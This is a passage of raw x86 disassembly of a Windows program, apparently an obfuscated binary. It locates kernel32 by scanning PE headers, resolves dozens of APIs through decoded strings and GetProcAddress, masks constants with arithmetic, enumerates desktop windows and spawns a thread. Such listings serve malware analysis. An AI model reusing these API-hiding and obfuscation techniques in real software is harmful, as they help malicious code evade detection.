		lea	esi, [ebp+var_38]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, dword_44B2D4
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		cmp	ebx, dword_44B130
		jnz	loc_440064
		lea	eax, [ebp+var_40]
		push	eax
		push	offset dword_44C97C
		mov	eax, [ebp+var_3C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44B1CC
		movsx	edx, word_44B0D8
		add	eax, edx
		sub	eax, 9
		cmp	ebx, eax
		jnz	short loc_44005B
		lea	eax, off_44B2D0
		mov	[ebp+var_24], eax
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		lea	eax, [ebp+var_44]
		push	eax
		push	offset dword_44C8BC
		mov	eax, [ebp+var_24]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_44B194
		movsx	edx, word_44B180
		add	eax, edx
		sub	eax, 6
		cmp	ebx, eax
		jnz	short loc_440049
		lea	eax, [ebp+var_48]
		push	eax
		push	offset dword_44C8BC
		push	[ebp+var_44]
		push	[ebp+var_40]
		call	sub_4434B2
		add	esp, 10h
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+var_44]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_440049:				; CODE XREF: sub_43FEB1+173j
		mov	eax, [ebp+var_24]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_40]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_44005B:				; CODE XREF: sub_43FEB1+135j
		mov	eax, [ebp+var_3C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_440064:				; CODE XREF: sub_43FEB1+104j
		inc	[ebp+var_8]


loc_440067:				; CODE XREF: sub_43FEB1+CCj
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_8], eax
		jb	loc_43FF82


loc_440073:				; CODE XREF: sub_43FEB1:loc_43FF67j
		lea	eax, off_44B2F4
		mov	[ebp+var_10], eax
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_44C8AC
		mov	eax, [ebp+var_10]
		push	eax
		mov	esi, [eax]
		call	dword ptr ds:0[esi]
		mov	eax, [ebp+var_10]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset dword_44C8AC
		push	[ebp+var_14]
		push	dword_44B2D4
		call	sub_4434B2
		add	esp, 10h
		mov	[ebp+var_18], eax
		movsx	ecx, word_44B0D0
		cmp	eax, ecx
		jnz	short loc_4400DB
		mov	eax, dword_44B2D4
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		and	dword_44B2D4, 0


loc_4400DB:				; CODE XREF: sub_43FEB1+75j
					; sub_43FEB1+216j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43FEB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4400E0	proc near		; DATA XREF: .data:off_44B294o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		push	offset dword_44C96C
		push	esi
		call	ds:dword_44A644
		or	eax, eax
		jz	short loc_44010C
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_440154
; ---------------------------------------------------------------------------


loc_44010C:				; CODE XREF: sub_4400E0+1Aj
		push	offset dword_44C8EC
		push	esi
		call	ds:dword_44A644
		or	eax, eax
		jz	short loc_44012C
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_440154
; ---------------------------------------------------------------------------


loc_44012C:				; CODE XREF: sub_4400E0+3Aj
		push	offset dword_44C8CC
		push	esi
		call	ds:dword_44A644
		or	eax, eax
		jz	short loc_44014C
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_440154
; ---------------------------------------------------------------------------


loc_44014C:				; CODE XREF: sub_4400E0+5Aj
		and	dword ptr [edi], 0
		mov	eax, 80004002h


loc_440154:				; CODE XREF: sub_4400E0+2Aj
					; sub_4400E0+4Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_4400E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_44015B	proc near		; CODE XREF: sub_442C0A+2Fp
		push	edi
		push	offset word_44C236
		call	sub_4424C1
		pop	ecx
		push	eax
		call	ds:dword_4475E8	; GetModuleHandleA
		mov	dword_44B1F8, eax
		test	eax, eax
		jnz	short loc_44018E
		push	offset word_44C226
		call	sub_4424C1
		pop	ecx
		push	eax
		call	ds:dword_448244	; LoadLibraryA
		mov	dword_44B1F8, eax


loc_44018E:				; CODE XREF: sub_44015B+1Aj
		push	offset byte_44C215
		call	sub_4424C1
		push	eax
		push	dword_44B1F8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_4475EC, eax
		push	offset byte_44C201
		call	sub_4424C1
		push	eax
		push	dword_44B1F8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44503C, eax
		push	offset word_44C1F2
		call	sub_4424C1
		add	esp, 0Ch
		push	eax
		push	dword_44B1F8
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A618, eax
		pop	edi
		retn
sub_44015B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4401E7	proc near		; DATA XREF: sub_43B4C6+Bo

arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		mov	esi, [ebp+arg_8]
		mov	eax, offset sub_442652
		mov	[esi+0B8h], eax
		mov	eax, [ebp+arg_4]
		mov	[esi+0C4h], eax
		popa
		mov	esp, ebp
		pop	ebp
		xor	eax, eax
		retn
sub_4401E7	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44020A	proc near		; DATA XREF: .data:0044B2BCo
		push	ebp
		mov	ebp, esp
		mov	eax, dword_44B18C
		dec	eax
		cmp	ds:dword_44ABA8, eax
		jbe	short loc_440226
		push	offset dword_44ABA8
		call	ds:dword_445010	; InterlockedDecrement


loc_440226:				; CODE XREF: sub_44020A+Fj
		mov	eax, ds:dword_44ABA8
		pop	ebp
		retn	4
sub_44020A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44022F	proc near		; CODE XREF: sub_43E1CC+C2p
					; sub_43E1CC+FFp ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		movzx	eax, [ebp+arg_0]
		mov	ecx, 2Bh
		mov	edx, 2FA0BE83h
		mul	edx
		shr	edx, 3
		mov	[ebp+var_4], edx
		mov	edi, edx
		mov	ebx, edi
		mov	[ebp+arg_0], bl
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_44B1B4
		add	edx, dword_44B0B8
		sub	edx, 5
		cmp	eax, edx
		jnz	short loc_440273
		mov	eax, 65h
		jmp	loc_4402FA
; ---------------------------------------------------------------------------


loc_440273:				; CODE XREF: sub_44022F+38j
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_44B0B8
		movsx	ecx, word_44B0F4
		add	edx, ecx
		sub	edx, 0Ch
		cmp	eax, edx
		jnz	short loc_440294
		mov	eax, 79h
		jmp	short loc_4402FA
; ---------------------------------------------------------------------------


loc_440294:				; CODE XREF: sub_44022F+5Cj
		movzx	eax, [ebp+arg_0]
		movsx	edx, word_44B0E0
		add	edx, 2
		cmp	eax, edx
		jnz	short loc_4402AD
		mov	eax, 75h
		jmp	short loc_4402FA
; ---------------------------------------------------------------------------


loc_4402AD:				; CODE XREF: sub_44022F+75j
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_44B1B0
		add	edx, dword_44B1C4
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_4402CB
		mov	eax, 69h
		jmp	short loc_4402FA
; ---------------------------------------------------------------------------


loc_4402CB:				; CODE XREF: sub_44022F+93j
		movzx	eax, [ebp+arg_0]
		movsx	edx, word_44B1BC
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_4402E4
		mov	eax, 6Fh
		jmp	short loc_4402FA
; ---------------------------------------------------------------------------


loc_4402E4:				; CODE XREF: sub_44022F+ACj
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_44B0FC
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_4402FA
		mov	eax, 61h


loc_4402FA:				; CODE XREF: sub_44022F+3Fj
					; sub_44022F+63j ...
		pop	edi
		pop	ebx
		leave
		retn
sub_44022F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4402FE	proc near		; DATA XREF: .data:0044B2A8o
		mov	eax, 80004001h
		retn	18h
sub_4402FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440306	proc near		; DATA XREF: sub_442C0A+F8o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_447614	; DefWindowProcA
		pop	edi
		pop	ebp
		retn	10h
sub_440306	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440324	proc near		; DATA XREF: .data:0044B2F0o

var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_10]
		mov	word ptr [ebp+arg_10], ax
		mov	eax, dword_44B0AC
		add	eax, 0C5h
		cmp	[ebp+arg_4], eax
		jnz	loc_44044B
		mov	[ebp+var_18], 3
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, dword_44B2D4
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	[ebp+var_4], eax
		movsx	eax, word_44B16C
		add	eax, dword_44B1A0
		sub	eax, 0Ah
		cmp	[ebp+var_4], eax
		jnz	loc_440447
		dec	[ebp+var_10]
		lea	eax, [ebp+var_1C]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, dword_44B2D4
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	[ebp+var_4], eax
		mov	eax, dword_44B0B4
		sub	eax, 8
		cmp	[ebp+var_4], eax
		jnz	loc_440447
		lea	eax, [ebp+var_20]
		push	eax
		push	offset dword_44C97C
		mov	eax, [ebp+var_1C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp+var_4], eax
		mov	eax, dword_44B0AC
		sub	eax, 3
		cmp	[ebp+var_4], eax
		jnz	short loc_44043E
		lea	eax, off_44B2D0
		mov	[ebp+var_8], eax
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		lea	eax, [ebp+var_24]
		push	eax
		push	offset dword_44C8BC
		mov	eax, [ebp+var_8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp+var_4], eax
		mov	eax, dword_44B0A8
		sub	eax, 3
		cmp	[ebp+var_4], eax
		jnz	short loc_44042C
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset dword_44C8BC
		push	[ebp+var_24]
		push	[ebp+var_20]
		call	sub_4434B2
		add	esp, 10h
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_44042C:				; CODE XREF: sub_440324+E3j
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, [ebp+var_20]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_44043E:				; CODE XREF: sub_440324+AEj
		mov	eax, [ebp+var_1C]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_440447:				; CODE XREF: sub_440324+4Ej
					; sub_440324+84j
		xor	eax, eax
		jmp	short loc_440450
; ---------------------------------------------------------------------------


loc_44044B:				; CODE XREF: sub_440324+1Dj
		mov	eax, 80020003h


loc_440450:				; CODE XREF: sub_440324+125j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
sub_440324	endp


; =============== S U B	R O U T	I N E =======================================



sub_440457	proc near		; CODE XREF: sub_440946+269p
		push	edi
		push	offset dword_44C1E4
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A660, eax
		push	offset dword_44C1DC
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44600C, eax
		push	offset dword_44C1C8
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_4475E8, eax
		push	offset dword_44C1B8
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_448244, eax
		push	offset byte_44C1A9
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A788, eax
		push	offset word_44C19A
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_445008, eax
		push	offset dword_44C188
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44AB9C, eax
		push	offset byte_44C17B
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44AB8C, eax
		push	offset dword_44C16C
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_449650, eax
		push	offset byte_44C15D
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A624, eax
		push	offset byte_44C151
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_445000, eax
		push	offset word_44C146
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_4470E0, eax
		push	offset byte_44C12F
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44500C, eax
		push	offset dword_44C118
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A63C, eax
		push	offset word_44C102
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A608, eax
		push	offset word_44C0F2
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_445034, eax
		push	offset word_44C0E6
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_445028, eax
		push	offset word_44C0D6
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_448248, eax
		push	offset byte_44C0C7
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_449630, eax
		push	offset byte_44C0B9
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_447A34, eax
		push	offset dword_44C0AC
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_447618, eax
		push	offset byte_44C09B
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44825C, eax
		push	offset word_44C08A
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44502C, eax
		push	offset word_44C07A
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A770, eax
		push	offset dword_44C068
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_448258, eax
		push	offset byte_44C057
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_446004, eax
		push	offset word_44C04A
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_447608, eax
		push	offset byte_44C039
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A664, eax
		push	offset dword_44C024
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A64C, eax
		push	offset dword_44C014
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_446000, eax
		push	offset byte_44BFFF
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_4470D4, eax
		push	offset word_44BFF2
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_448364, eax
		push	offset word_44BFE2
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A61C, eax
		push	offset dword_44BFD4
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_449644, eax
		push	offset word_44BFBE
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_449638, eax
		push	offset byte_44BFA7
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_4475FC, eax
		push	offset byte_44BF8F
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_447A3C, eax
		push	offset byte_44BF77
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_445010, eax
		push	offset word_44BF5E
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A614, eax
		push	offset byte_44BF4B
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A780, eax
		push	offset byte_44BF33
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A778, eax
		push	offset word_44BF22
		call	sub_4424C1
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44AB98, eax
		push	offset dword_44BF10
		call	sub_4424C1
		add	esp, 0ACh
		push	eax
		push	dword_44B1D4
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_4475F4, eax
		pop	edi
		retn
sub_440457	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_440914	proc near		; DATA XREF: sub_43B52C+F2o
		push	ebp
		mov	ebp, esp


loc_440917:				; CODE XREF: sub_440914+2Cj
		push	dword_44B1A4
		call	ds:dword_44A630
		pop	ecx
		mov	eax, dword_44B1CC
		add	eax, dword_44B1A0
		sub	eax, 0Ah
		push	eax
		push	offset sub_442318
		push	0
		call	ds:dword_445048	; EnumDesktopWindows
		jmp	short loc_440917
sub_440914	endp

; ---------------------------------------------------------------------------
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440946	proc near		; CODE XREF: start+1p

var_138		= dword	ptr -138h
var_132		= byte ptr -132h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_127		= byte ptr -127h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 138h
		push	ebx
		push	esi
		push	edi
		lea	eax, sub_442C0A
		mov	[ebp+var_10], eax
		mov	edx, eax
		movsx	ecx, word_44B128
		add	ecx, 10h
		mov	eax, edx
		shr	eax, cl
		movsx	edx, word_44B16C
		add	edx, 0Ch
		mov	ecx, edx
		mov	ebx, eax
		shl	ebx, cl


loc_44097B:				; CODE XREF: sub_440946+58j
					; sub_440946+89j ...
		mov	[ebp+var_18], ebx
		mov	eax, ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_4409A0
		movsx	eax, word_44B0BC
		movsx	edx, word_44B194
		lea	eax, [eax+edx+0FFF7h]
		sub	ebx, eax
		jmp	short loc_44097B
; ---------------------------------------------------------------------------


loc_4409A0:				; CODE XREF: sub_440946+3Fj
		movsx	eax, word_44B100
		lea	eax, [eax+eax+2Ah]
		mov	esi, ebx
		add	esi, eax
		mov	eax, ebx
		add	eax, [esi]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_10]
		cmp	eax, ecx
		jbe	short loc_4409D1
		mov	eax, dword_44B1AC
		add	eax, 0FFFCh
		add	eax, dword_44B1B0
		sub	ebx, eax
		jmp	short loc_44097B
; ---------------------------------------------------------------------------


loc_4409D1:				; CODE XREF: sub_440946+75j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_8], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jz	short loc_4409F1
		movsx	eax, word_44B19C
		add	eax, 0FFFAh
		sub	ebx, eax
		jmp	short loc_44097B
; ---------------------------------------------------------------------------


loc_4409F1:				; CODE XREF: sub_440946+99j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+80h]
		mov	[ebp+var_C], eax
		mov	eax, dword_44B18C
		dec	eax
		mov	[ebp+var_4], eax
		jmp	loc_440B94
; ---------------------------------------------------------------------------


loc_440A0B:				; CODE XREF: sub_440946+25Aj
		mov	eax, ebx
		add	eax, [ebp+var_C]
		add	eax, [ebp+var_4]
		mov	[ebp+var_12C], eax
		mov	edx, dword_44B1A4
		cmp	[eax], edx
		jz	loc_440BA6
		mov	eax, [ebp+var_12C]
		mov	edx, ebx
		add	edx, [eax+0Ch]
		mov	[ebp+var_130], edx
		push	edx
		lea	eax, [ebp+var_127]
		push	eax
		call	sub_444B60
		mov	eax, dword_44B0A0
		add	eax, dword_44B1AC
		sub	eax, 8
		mov	[ebp+var_28], eax
		jmp	short loc_440A7A
; ---------------------------------------------------------------------------


loc_440A58:				; CODE XREF: sub_440946+150j
		mov	eax, [ebp+var_28]
		mov	al, [ebp+eax+var_127]
		cmp	al, 61h
		jle	short loc_440A77
		cmp	al, 7Ah
		jge	short loc_440A77
		mov	eax, [ebp+var_28]
		lea	eax, [ebp+eax+var_127]
		sub	byte ptr [eax],	20h


loc_440A77:				; CODE XREF: sub_440946+11Ej
					; sub_440946+122j
		inc	[ebp+var_28]


loc_440A7A:				; CODE XREF: sub_440946+110j
		mov	eax, [ebp+var_28]
		movsx	eax, [ebp+eax+var_127]
		mov	edx, dword_44B094
		add	edx, dword_44B11C
		sub	edx, 9
		cmp	eax, edx
		jnz	short loc_440A58
		mov	eax, dword_44B1C0
		mov	edx, eax
		add	edx, dword_44B0B4
		cmp	[ebp+edx+var_132], 4Bh
		jnz	loc_440B90
		mov	edx, dword_44B158
		movsx	ecx, word_44B114
		add	edx, ecx
		cmp	[ebp+edx+var_128], 45h
		jnz	loc_440B90
		mov	edx, dword_44B124
		add	edx, dword_44B140
		cmp	byte ptr [ebp+edx+var_130+2], 52h
		jnz	loc_440B90
		movsx	edx, word_44B100
		add	eax, edx
		cmp	byte ptr [ebp+eax+var_130+2], 4Ch
		jnz	loc_440B90
		mov	eax, dword_44B138
		mov	edx, dword_44B10C
		add	edx, eax
		cmp	byte ptr [ebp+edx+var_130], 33h
		jnz	short loc_440B90
		cmp	[ebp+eax+var_128], 32h
		jnz	short loc_440B90
		mov	eax, [ebp+var_12C]
		mov	edx, ebx
		add	edx, [eax+10h]
		mov	[ebp+var_138], edx
		mov	eax, dword_44B0A4
		movsx	edx, word_44B1A8
		add	eax, edx
		sub	eax, 2
		mov	[ebp-134h], eax


loc_440B4A:				; CODE XREF: sub_440946+246j
		mov	eax, [ebp+var_138]
		mov	esi, eax
		add	esi, [ebp-134h]
		mov	edi, [esi]
		mov	eax, dword_44B0F8
		add	eax, dword_44B14C
		sub	eax, 8
		cmp	edi, eax
		jz	short loc_440BA6
		push	edi
		call	sub_440C06
		pop	ecx
		cmp	dword_44B1D4, 0
		jnz	short loc_440BA6
		movsx	eax, word_44B090
		add	eax, 3
		add	[ebp-134h], eax
		jmp	short loc_440B4A
; ---------------------------------------------------------------------------
		jmp	short loc_440BA6
; ---------------------------------------------------------------------------


loc_440B90:				; CODE XREF: sub_440946+167j
					; sub_440946+184j ...
		add	[ebp+var_4], 14h


loc_440B94:				; CODE XREF: sub_440946+C0j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+84h]
		cmp	[ebp+var_4], eax
		jb	loc_440A0B


loc_440BA6:				; CODE XREF: sub_440946+DBj
					; sub_440946+224j ...
		cmp	dword_44B1D4, 0
		jz	short loc_440C01
		call	sub_440457
		call	sub_442662
		call	sub_4437B1
		mov	edx, eax
		mov	[ebp+var_19], dl
		movzx	eax, [ebp+var_19]
		mov	edx, dword_44B10C
		add	edx, dword_44B094
		sub	edx, 0Bh
		cmp	eax, edx
		jz	short loc_440C01
		lea	eax, [ebp+var_24]
		push	eax
		mov	eax, dword_44B1C4
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	offset sub_442C0A
		mov	eax, dword_44B1C8
		sub	eax, 2
		push	eax
		push	0
		call	ds:dword_44AB90	; CreateThread


loc_440C01:				; CODE XREF: sub_440946+267j
					; sub_440946+292j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_440946	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440C06	proc near		; CODE XREF: sub_440946+227p

var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_281		= byte ptr -281h
var_26C		= byte ptr -26Ch
var_252		= byte ptr -252h
var_23D		= byte ptr -23Dh
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= byte ptr -220h
var_21F		= byte ptr -21Fh
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_103		= byte ptr -103h
var_102		= byte ptr -102h
var_101		= byte ptr -101h
var_FE		= byte ptr -0FEh
var_FD		= byte ptr -0FDh
var_FC		= byte ptr -0FCh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	ecx, dword_44B188
		add	ecx, 10h
		shr	edi, cl
		movsx	esi, word_44B170
		add	esi, 8
		mov	ecx, esi
		mov	ebx, edi
		shl	ebx, cl


loc_440C30:				; CODE XREF: sub_440C06+50j
					; sub_440C06+93j ...
		mov	[ebp+var_114], ebx
		mov	eax, ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_440C58
		movsx	eax, word_44B114
		movsx	edx, word_44B16C
		lea	eax, [eax+edx+0FFFAh]
		sub	ebx, eax
		jmp	short loc_440C30
; ---------------------------------------------------------------------------


loc_440C58:				; CODE XREF: sub_440C06+37j
		mov	eax, dword_44B098
		add	eax, 35h
		add	eax, dword_44B108
		mov	edx, ebx
		add	edx, eax
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_118], edx
		mov	eax, [ebp+arg_0]
		cmp	edx, eax
		jbe	short loc_440C9B
		movsx	eax, word_44B090
		mov	edx, dword_44B104
		lea	eax, [eax+edx+0FFFCh]
		sub	ebx, eax
